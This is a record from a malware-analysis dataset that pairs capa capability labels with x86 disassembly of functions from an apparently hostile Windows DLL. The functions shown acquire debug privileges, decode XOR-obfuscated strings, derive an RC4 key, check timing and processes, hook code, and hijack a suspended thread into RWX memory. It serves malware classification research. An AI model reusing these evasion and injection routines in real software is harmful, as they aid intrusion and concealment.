joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006400
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1000a400
call fcn.1000a4e0
call fcn.10016210
mov dword [0x1006afdc], eax
test eax, eax
je 0x10006431
mov ecx, eax
call fcn.10016400
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10005f90
push 0
push 0
mov dword [0x1006aef8], eax
mov dword [0x1006aefc], edx
mov dword [0x1006af00], eax
mov dword [0x1006af04], edx
call esi
mov ebx, eax
test ebx, ebx
jne 0x10006472
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 0
push 0
push 0x10006290
push 0
push 0
call esi
mov edi, eax
test edi, edi
jne 0x10006491
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push ebx
call esi
push 0xffffffffffffffff
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a400
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10069018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
push esi
push edi
test eax, eax
jne 0x1000a41e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a4c1
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0x28
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000a4c1
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000a4c1
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000a4c1
push ecx
mov ecx, dword [ebp - 0x18]
mov edx, str.SeDebugPrivilege
call fcn.1000a390
add esp, 4
test al, al
je 0x1000a4c1
push dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.100523a0
mov esp, ebp
pop ebp
ret
Function at 0x1000a4e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10069018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000a54e
movaps xmm0, xmmword [0x10062770]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x64
nop dword [eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x10
jb 0x1000a520
lea eax, [ebp - 0xc]
mov byte [ebp - 0x23], 0
push eax
lea eax, [ebp - 0x33]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x1000a55e
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
push 0
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x20]
test eax, eax
je 0x1000a548
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
Function at 0x1000c0d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100545f6
mov eax, dword fs:[0]
push eax
sub esp, 0x188
mov eax, dword [0x10069018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x170], esi
push 0
lea eax, [ebp - 0x16f]
mov word [ebp - 0x170], 0x48
push eax
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x190], 0
mov byte [ebp - 0x16f], 0
mov dword [ebp - 0x12c], 0xf
mov dword [ebp - 0x130], 0
mov byte [ebp - 0x140], 0
call fcn.100048e0
mov dword [ebp - 4], 0
test edi, edi
jne 0x1000c17f
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.10004180
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x1000c305
inc ecx
push ecx
jmp 0x1000c2fa
movaps xmm0, xmmword [str.1tIAXCPEX__v]
xor ecx, ecx
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x17c], 0x141c5c14
mov dword [ebp - 0x178], 0x79141155
mov dword [ebp - 0x174], 0x7c140b
nop dword [eax]
mov al, byte [ebp - 0x18c]
xor byte [ebp + ecx - 0x18b], al
inc ecx
cmp ecx, 0x1a
jb 0x1000c1b0
cmp byte [ebp - 0x18b], 0
mov byte [ebp - 0x171], 0
mov dword [ebp - 0x114], 0xf
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
jne 0x1000c1f2
xor ecx, ecx
jmp 0x1000c209
lea ecx, [ebp - 0x18b]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c200
sub ecx, edx
push ecx
lea eax, [ebp - 0x18b]
push eax
lea ecx, [ebp - 0x128]
call fcn.100048e0
lea eax, [ebp - 0x148]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x148], edi
push eax
mov dword [ebp - 0x144], 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x16c]
push ecx
lea eax, [ebp - 0x128]
cmovae eax, dword [ebp - 0x128]
push eax
lea eax, [ebp - 0x110]
push 0x100
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
add esp, 0x18
cmp byte [ebp - 0x110], 0
jne 0x1000c282
xor ecx, ecx
jmp 0x1000c299
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c290
sub ecx, edx
push ecx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x140]
call fcn.100048e0
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.10004180
mov eax, dword [ebp - 0x114]
cmp eax, 0x10
jb 0x1000c2d2
inc eax
push eax
push dword [ebp - 0x128]
call fcn.100047b0
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x114], 0xf
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
cmp eax, 0x10
jb 0x1000c305
inc eax
push eax
push dword [ebp - 0x140]
call fcn.100047b0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
Function at 0x1000ea90
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x10069018]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
jne 0x1000eada
mov dword [edi], 0
mov eax, edi
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x1c], 0
jg 0x1000eaea
jl 0x1000eab9
cmp dword [esp + 0x18], 0
jbe 0x1000eab9
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [esp + 0x10]
push eax
xor esi, esi
call ebx
test eax, eax
jne 0x1000eb11
nop dword [eax]
inc esi
cmp esi, 3
ja 0x1000eab9
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x1000eb00
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
call fcn.10053240
mulsd xmm0, qword [0x100619f8]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
movsd qword [esp + 0x10], xmm0
call fcn.10053240
movsd xmm1, qword [esp + 0x10]
divsd xmm1, xmm0
movaps xmm0, xmm1
call fcn.100530ef
mov ecx, dword [esp + 0x24]
mov dword [edi], eax
mov eax, edi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100523a0
mov esp, ebp
pop ebp
ret

Function at 0x1000ee50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x10069018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000eeac
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], edi
je 0x1000eec6
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x1000ee96
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100523a0
mov esp, ebp
pop ebp
ret

Function at 0x1000f010
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x10069064], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x10069064], edx
inc eax
cmp eax, 0x270
jl 0x1000f021
mov dword [0x10069060], 0x270
pop ebp
ret 8
Function at 0x1000f140
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
nop dword [eax]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
sub esi, 1
jne 0x1000f150
pop esi
ret

Function at 0x1000f190
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
sub ecx, 1
jne 0x1000f1a0
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi + 4]
lea esi, [esi + 4]
xor ecx, dword [esi - 4]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub edi, 1
jne 0x1000f1e2
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret
Function at 0x1000fd50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x10062040]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x10061f60]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [0x10061b40]
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x1000fd80
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x1006af50
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000fe6c
push 0x1006af4c
push 0
push 0
push 0x8004
push dword [0x1006af50]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000fe6c
movaps xmm0, xmmword [0x10062870]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x6d356364
movaps xmm0, xmmword [0x100622a0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x67317745
movaps xmm0, xmmword [0x10062180]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x24757f50
mov word [ebp - 4], 0x78
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000fe10
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x1006af4c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000fe6c
push 0x1006af48
push 0x800000
push dword [0x1006af4c]
push 0x6801
push dword [0x1006af50]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1000fe6c
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1006af44], eax
call fcn.10050ff0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.100514c0
push 0x1000fc30
push 0x1006af40
call fcn.10050d00
call fcn.10051050
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000feda
mov dword [0x1006af40], 0x60f6e0
call fcn.10050ff0
call esi
push eax
call fcn.100514c0
push 0x1000fc30
push 0x1006af40
call fcn.10050870
call fcn.10051050
call fcn.10050ff0
call esi
push eax
call fcn.100514c0
push 0x1000fc60
push 0x1006af3c
call fcn.10050d00
call fcn.10051050
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000ff37
mov dword [0x1006af3c], 0x60eab0
call fcn.10050ff0
call esi
push eax
call fcn.100514c0
push 0x1000fc60
push 0x1006af3c
call fcn.10050870
call fcn.10051050
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013550
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10069018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x6d12c0
call fcn.10011950
cmp al, 0xe9
jne 0x10013576
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x6d12c0
call esi
test eax, eax
jne 0x100135b9
mov dword [0x1006af6c], 0x6d12c0
call fcn.10050ff0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.100514c0
push 0x10012320
push 0x1006af6c
call fcn.10050870
call fcn.10051050
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x6d141e
push eax
call esi
test eax, eax
jne 0x100135fd
push 4
push 0x100122c0
call esi
test eax, eax
jne 0x100135fd
call fcn.10050ff0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.100514c0
push 0x100122c0
lea eax, [ebp - 8]
push eax
call fcn.10050870
call fcn.10051050
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100523a0
mov esp, ebp
pop ebp
ret

Function at 0x10013780
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x10069018]
xor eax, esp
mov dword [esp + 0x38], eax
movaps xmm0, xmmword [str.oYNJFxDM__]
xor ecx, ecx
mov eax, dword [0x1006afd4]
push ebx
push esi
push edi
mov edi, dword [0x1006afd0]
mov dword [esp + 0xc], edi
mov dword [esp + 0x24], eax
movups xmmword [esp + 0x10], xmm0
mov byte [esp + 0x20], 0
nop dword [eax]
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xf
jb 0x100137c0
sub esp, 0x18
mov byte [esp + 0x38], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [esp + 0x29], 0
jne 0x100137f4
xor ecx, ecx
jmp 0x10013809
lea ecx, [esp + 0x29]
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10013800
sub ecx, esi
push ecx
lea eax, [esp + 0x2d]
mov ecx, edx
push eax
call fcn.100048e0
lea ecx, [esp + 0x44]
call fcn.1004cc90
mov edx, dword [esp + 0x44]
add esp, 0x18
xor ebx, ebx
test edi, edi
mov edi, dword [esp + 0x40]
jle 0x1001386e
cmp edi, 0x10
lea ecx, [esp + 0x2c]
cmovae ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10013840
sub ecx, esi
mov eax, ebx
cmp edi, 0x10
lea esi, [esp + 0x2c]
cmovae esi, edx
xor edx, edx
div ecx
mov ecx, dword [esp + 0x24]
mov al, byte [edx + esi]
xor byte [ecx + ebx], al
inc ebx
mov edx, dword [esp + 0x2c]
cmp ebx, dword [esp + 0xc]
jl 0x10013830
cmp edi, 0x10
jb 0x1001387d
lea eax, [edi + 1]
push eax
push edx
call fcn.100047b0
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
Function at 0x100144b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10054c70
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x10069018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x1006afb6], 0
je 0x10014682
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x1006afe0]
sbb edx, dword [0x1006afe4]
mov dword [ebp - 0x48], edx
jne 0x1001450b
cmp eax, 0xbb8
jb 0x10014682
call esi
movaps xmm0, xmmword [str.gQFBNpLEWbOJUF]
xor ecx, ecx
mov dword [0x1006afe0], eax
mov dword [0x1006afe4], edx
movups xmmword [ebp - 0x20], xmm0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x10014525
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.100049e0
lea ecx, [ebp - 0x44]
call fcn.1004cc90
add esp, 0x18
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov byte [ebp - 0x4d], 0xa1
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
mov byte [ebp - 0x28], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x1000
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.1000b6f0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x18]
mov edi, edx
mov ecx, dword [ebp - 0x1c]
sub edi, ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], vtable.Packet.0
cmp edi, 0x989680
ja 0x100145ef
lea esi, [eax + 1]
cmp edi, esi
jae 0x100145e2
push esi
lea ecx, [ebp - 0x1c]
call fcn.1000b890
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x4d]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x4d], 0xa2
cmp edx, 0x989680
ja 0x10014621
lea esi, [eax + 1]
cmp edx, esi
jae 0x10014617
push esi
lea ecx, [ebp - 0x1c]
call fcn.1000b890
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x4d]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x44]
push eax
call fcn.1000b580
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x48], eax
cmp ecx, 0x4000
ja 0x10014661
mov ecx, dword ds:[0x10058abc]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x54]
push dword [ebp - 0x48]
call dword [0x10058ab8]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
call fcn.1000b820
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x10014682
inc eax
push eax
push dword [ebp - 0x44]
call fcn.100047b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
Function at 0x10015fd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10069018]
xor eax, esp
mov dword [esp + 0x30], eax
movaps xmm0, xmmword [0x10062730]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0x6e62682f
movups xmmword [esp + 4], xmm0
mov byte [esp + 0x18], 0
xor ecx, ecx
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x13
jb 0x10016002
lea eax, [esp + 5]
mov byte [esp + 0x18], 0
push eax
mov edx, 0x1006f2d0
lea ecx, [esp + 0x20]
call fcn.10010cf0
mov eax, dword [esi + 0x1fc]
add esp, 4
test eax, eax
je 0x1001603c
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [esp + 0x30], 0x10
lea eax, [esp + 0x1c]
push 0x8010
cmovae eax, dword [esp + 0x20]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1001607d
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x1001607d
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov eax, dword [esp + 0x30]
cmp eax, 0x10
jb 0x10016091
inc eax
push eax
push dword [esp + 0x20]
call fcn.100047b0
mov ecx, dword [esp + 0x34]
pop esi
xor ecx, esp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
Function at 0x10016210
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10069018]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x68
mov dword [ebp - 0x2f8], 0x41c3a68
mov dword [ebp - 0x2f4], 0xc090724
xor eax, eax
mov dword [ebp - 0x2f0], 0x11a1c3b
mov word [ebp - 0x2ec], 0xf06
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1001626a
mov cl, byte [ebp - 0x2f8]
jmp 0x10016255
push ebx
mov byte [ebp - 0x2e8], 1
mov al, 0x6f
xor al, byte [ebp - 0x2e8]
mov bl, 0x6d
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x65
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x75
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x2f
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x10016331
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100523a0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001631f
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001631f
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1001631f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1001631f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001f00
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1001631f
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.100523a0
mov esp, ebp
pop ebp
ret